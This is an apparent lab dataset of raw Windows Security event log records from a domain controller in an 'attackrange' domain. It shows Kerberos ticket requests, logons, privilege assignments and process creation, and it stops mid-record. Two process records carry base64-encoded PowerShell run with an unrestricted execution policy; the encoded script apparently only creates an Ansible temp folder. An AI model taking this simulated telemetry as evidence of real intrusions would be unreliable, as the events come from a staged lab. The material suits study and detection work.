-This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251112 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251111 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127251 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1338 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1164 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANgAzAC4AOQA3ADAAOAA3ADIAMgAtADQAOQA4ADcAMwA5ADAANQA1ADkAMwA3ADUANwAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251109 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x127C3F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251108 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x127C3F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64504 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251107 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x127C3F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251106 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x127BCE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251105 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x127BCE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64503 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251104 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x127BCE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251103 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x127B32 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251102 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x127B32 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64502 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251101 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x127B32 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251100 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x127AD1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251099 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x127AD1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64501 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251098 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x127AD1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251097 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127251 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251096 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127251 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251095 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251094 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251093 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251092 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1164 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11f4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAGcAQQB6AEEAQwA0AEEATwBRAEEAMwBBAEQAQQBBAE8AQQBBADMAQQBEAEkAQQBNAGcAQQB0AEEARABRAEEATwBRAEEANABBAEQAYwBBAE0AdwBBADUAQQBEAEEAQQBOAFEAQQAxAEEARABrAEEATQB3AEEAMwBBAEQAVQBBAE4AdwBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 